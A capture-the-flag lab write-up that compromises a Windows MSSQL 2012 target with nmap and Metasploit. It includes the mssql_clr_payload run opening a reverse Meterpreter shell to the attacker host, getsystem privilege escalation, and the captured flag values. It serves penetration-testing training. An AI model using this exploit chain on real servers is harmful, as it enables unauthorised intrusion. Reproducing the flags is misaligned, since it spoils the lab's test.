Host & Network Penetration Testing: The Metasploit Framework CTF 1

Lab Environment

In this lab environment, you will have GUI access to a Kali machine. The target machine will be accessible at **target.ine.local**.

Objective: Use Metasploit and manual investigation techniques to capture the following flags:

- **Flag 1:** Gain access to the MSSQLSERVER account on the target machine to retrieve the first flag.
- **Flag 2:** Locate the second flag within the Windows configuration folder.
- **Flag 3:** The third flag is also hidden within the system directory. Find it to uncover a hint for accessing the final flag.
- **Flag 4:** Investigate the Administrator directory to find the fourth flag.

- **Step -**1 : **Host Discovery :** Before performing any attack , first we need to check the host is live or not . So, I do the ping scan on the target "target.ine.local" I got 0% packet loss , so I confirm that the host is alive .

```
┌──(root㉿INE)-[~]
└─# ping -c 4 target.ine.local
PING target.ine.local (10.5.30.37) 56(84) bytes of data.
64 bytes from target.ine.local (10.5.30.37): icmp_seq=1 ttl=125 time=9.15 ms
64 bytes from target.ine.local (10.5.30.37): icmp_seq=2 ttl=125 time=2.26 ms
64 bytes from target.ine.local (10.5.30.37): icmp_seq=3 ttl=125 time=2.31 ms
64 bytes from target.ine.local (10.5.30.37): icmp_seq=4 ttl=125 time=2.21 ms

--- target.ine.local ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 2.211/3.981/9.152/2.985 ms
```

- **Step-2 : Port Scanning and Service Enumuration :** Now we will known that the host was alive , so now we will scan the ports on the target , to known which ports open, versions and services of the the running ports .

```
└─# nmap -p- -sV target.ine.local
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-02 14:55 IST
Stats: 0:01:15 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 78.57% done; ETC: 14:57 (0:00:16 remaining)
Stats: 0:01:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 92.86% done; ETC: 14:56 (0:00:05 remaining)
Nmap scan report for target.ine.local (10.5.30.37)
Host is up (0.0020s latency).
Not shown: 65521 closed tcp ports (reset)
PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp  open  ms-sql-s           Microsoft SQL Server 2012 11.00.6020; SP3
3389/tcp  open  ssl/ms-wbt-server?
5985/tcp  open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49170/tcp open  msrpc              Microsoft Windows RPC
49182/tcp open  msrpc              Microsoft Windows RPC
49183/tcp open  msrpc              Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
```

We saw so many ports are open , but we need to concentrate on the **mssql server** , So we saw that the mssql port was open and it was running on the port 1433 .

- **Step-3: Exploitation :** By the nmap result we clearly known that it was the 2012 server, So I open the metaploit and search for " search mssql 2012 "

```
msf6 > search mssql 2012

Matching Modules
================

   #  Name                                          Disclosure Date  Rank       Check  Description
   -  ----                                          ---------------  ----       -----  -----------
   0  exploit/windows/mssql/mssql_clr_payload       1999-01-01       excellent  Yes    Microsoft SQL Server Clr Stored Procedure Payload Execution
   1  exploit/windows/mssql/mssql_linkcrawler       2000-01-01       great      No     Microsoft SQL Server Database Link Crawling Command Execution
   2  post/windows/manage/mssql_local_auth_bypass   .                normal     No     Windows Manage Local Microsoft SQL Server Authorization Bypass


Interact with a module by name or index. For example info 2, use 2 or use post/windows/manage/mssql_local_auth_bypass

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/mssql/mssql_clr_payload) > options
```

Use the exploit/windows/mssql/mssql_clr_payload

Don't forget to set the payload according to the architecture .

Then run the module it will provide you the meterpreter session .

```
msf6 exploit(windows/mssql/mssql_clr_payload) > run

[*] Started reverse TCP handler on 10.10.47.3:4444
[!] 10.5.25.212:1433 - Setting EXITFUNC to 'thread' so we don't kill SQL Server
[*] 10.5.25.212:1433 - Database does not have TRUSTWORTHY setting on, enabling ...
[*] 10.5.25.212:1433 - Database does not have CLR support enabled, enabling ...
[*] 10.5.25.212:1433 - Using version v3.5 of the Payload Assembly
[*] 10.5.25.212:1433 - Adding custom payload assembly ...
[*] 10.5.25.212:1433 - Exposing payload execution stored procedure ...
[*] 10.5.25.212:1433 - Executing the payload ...
[*] 10.5.25.212:1433 - Removing stored procedure ...
[*] 10.5.25.212:1433 - Removing assembly ...
[*] Sending stage (201798 bytes) to 10.5.25.212
[*] 10.5.25.212:1433 - Restoring CLR setting ...
[*] 10.5.25.212:1433 - Restoring Trustworthy setting ...
[*] Meterpreter session 1 opened (10.10.47.3:4444 → 10.5.25.212:49734) at 2026-04-02 17:02:23 +0530

meterpreter >
```

T

Then I use shell then it created a basic shell on the target , then navigated into the C: directory then there I find the my first flag .

```
meterpreter > shell
Process 292 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd C:/
cd C:/

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 5CD6-020B

 Directory of C:\

04/02/2026  04:14 PM                34 flag1.txt
08/22/2013  03:52 PM    <DIR>          PerfLogs
01/09/2025  07:00 AM    <DIR>          Program Files
12/15/2024  09:27 AM    <DIR>          Program Files (x86)
01/09/2025  07:12 AM    <DIR>          Users
01/09/2025  07:08 AM    <DIR>          Windows
               1 File(s)             34 bytes
               5 Dir(s)   3,838,263,296 bytes free

C:\>type flag1.txt
type flag1.txt
f4c4d74addab41a691830c0fdc485165
```

```
               101 Dir(s)   3,838,136,320 bytes free

C:\Windows\System32>cd Config
cd Config
Access is denied.

C:\Windows\System32>
```

When you want to access the Config directory , form the command shell it don't give permissions .

So, now we will back to meterpreter then use the **getsystem** command to get all the privileges to access the target , then I created the shell again and then navigated into the Config file and got my second flag .

```
meterpreter > getsystem
 ...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
meterpreter > shell
Process 788 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd Config
cd Config
```

```
C:\Windows\System32\config>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 5CD6-020B

 Directory of C:\Windows\System32\config

04/02/2026  04:32 PM    <DIR>          .
04/02/2026  04:32 PM    <DIR>          ..
05/09/2014  12:52 AM           262,144 BCD-Template
04/02/2026  04:32 PM       101,187,584 COMPONENTS
08/22/2013  01:25 PM                 0 COMPONENTS.LOG
01/09/2025  07:13 AM         2,621,440 DEFAULT
08/22/2013  01:25 PM                 0 DEFAULT.LOG
04/02/2026  04:25 PM         4,521,984 DRIVERS
04/02/2026  04:14 PM                34 flag2.txt
08/22/2013  01:29 PM               164 FP
08/22/2013  01:25 PM    <DIR>          Journal
04/02/2026  04:23 PM    <DIR>          RegBack
01/09/2025  07:13 AM           262,144 SAM
01/09/2025  07:13 AM           262,144 SECURITY
08/22/2013  01:25 PM                 0 SECURITY.LOG
01/09/2025  07:13 AM        89,653,248 SOFTWARE
08/22/2013  01:25 PM                 0 SOFTWARE.LOG
01/09/2025  07:13 AM        12,582,912 SYSTEM
08/22/2013  01:25 PM                 0 SYSTEM.LOG
06/20/2014  07:56 PM    <DIR>          systemprofile
03/18/2014  10:32 AM    <DIR>          TxR
               15 File(s)    211,353,798 bytes
                6 Dir(s)   3,838,136,320 bytes free

C:\Windows\System32\config>type flag2.txt
type flag2.txt
e087d18fd1934d739de899dfd6998e6c
```

For the 3rd flag instead of searching all the directories I used the command , which will search all the directories and search for the given string " **dir *flag* "** This command list all files where the flag string was matched with the files in the directory .

```
Data\Application Data\Application Data\Microsoft_Corporation\ServerManager.exe_StrongName_m3xk0k0ucj0oj3ai2hibnhn
The directory name C:\Users\MSSQLSERVER\Local Settings\Application Data\Application Data\Application Data\Applica
Data\Application Data\Microsoft\Windows\WER\ReportQueue\NonCritical_x64_5339f0c739e8b6876c73f6cfc732c6fbbf05046_0
The directory name C:\Users\MSSQLSERVER\Local Settings\Application Data\Application Data\Application Data\Applica
Data\Application Data\Microsoft_Corporation\ServerManager.exe_StrongName_m3xk0k0ucj0oj3ai2hibnhnv4xobnimj is too
The directory name C:\Users\MSSQLSERVER\Local Settings\Application Data\Application Data\Application Data\Applica
Data\Application Data\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed is too long.
The directory name C:\Users\MSSQLSERVER\Local Settings\Application Data\Application Data\Application Data\Applica
Data\Microsoft\Windows\WER\ReportQueue\NonCritical_x64_5339f0c739e8b6876c73f6cfc732c6fbbf05046_00000000_cab_09626
The directory name C:\Users\MSSQLSERVER\Local Settings\Application Data\Application Data\Application Data\Applica
ndows\WER\ReportQueue\NonCritical_x64_5339f0c739e8b6876c73f6cfc732c6fbbf05046_00000000_cab_09626d27 is too long.

 Directory of C:\Windows\System32\config

04/02/2026  04:14 PM                34 flag2.txt
               1 File(s)             34 bytes

 Directory of C:\Windows\System32\drivers\etc

04/02/2026  04:14 PM                34 EscaltePrivilageToGetThisFlag.txt
               1 File(s)             34 bytes

     Total Files Listed:
               7 File(s)          1,424 bytes
               0 Dir(s)   3,838,083,072 bytes free
```

```
 Directory of C:\Windows\System32\drivers\etc

04/02/2026  04:14 PM    <DIR>          .
04/02/2026  04:14 PM    <DIR>          ..
04/02/2026  04:14 PM                34 EscaltePrivilageToGetThisFlag.txt
08/22/2013  01:25 PM               824 hosts
08/22/2013  03:38 PM             3,683 lmhosts.sam
08/22/2013  01:25 PM               407 networks
08/22/2013  01:25 PM             1,358 protocol
08/22/2013  01:25 PM            17,463 services
               6 File(s)         23,769 bytes
               2 Dir(s)   3,838,050,304 bytes free

C:\Windows\System32\drivers\etc>type EscaltePrivilageToGetThisFlag.txt
type EscaltePrivilageToGetThisFlag.txt
fa9644d2f1e34a4f9c65ad0b02a49129

C:\Windows\System32\drivers\etc>
```

Then I navigated to the directory and get my third flag .

Flag 4: Investigate the Administrator directory to find the fourth flag.

So, as they said Administrator I find navigated to the the Administrator directory .

Then navigated into the Desktop , there I find my 4th and final flag .

```
C:\Users\Administrator>cd Desktop
cd Desktop

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 5CD6-020B

 Directory of C:\Users\Administrator\Desktop

04/02/2026  04:14 PM    <DIR>          .
04/02/2026  04:14 PM    <DIR>          ..
04/02/2026  04:14 PM                34 flag4.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,838,050,304 bytes free

C:\Users\Administrator\Desktop>type flag4.txt
type flag4.txt
a7124424ac7a4b89943bbbf631ff0bfc

C:\Users\Administrator\Desktop>
```

Conclusion

Summary

This lab demonstrated a complete penetration testing workflow against a Windows Server 2012 target running Microsoft SQL Server 2012. Starting from zero knowledge of the target, each phase — host discovery, port scanning, exploitation, and privilege escalation — was carried out methodically using industry-standard tools including Nmap and the Metasploit Framework.

Flags Captured

Flag 1 — Found at *C:\flag1.txt* after initial shell access as MSSQLSERVER.

Flag 2 — Retrieved from *C:\Windows\System32\config\flag2.txt* after privilege escalation to SYSTEM.

Flag 3 — Located at *C:\Windows\System32\drivers\etc\EscaltePrivilageToGetThisFlag.txt*, discovered using a recursive *dir *flag** search. The filename itself hinted that privilege escalation was required.

Flag 4 — Found at *C:\Users\Administrator\Desktop\flag4.txt*, accessible after navigating to the Administrator's Desktop.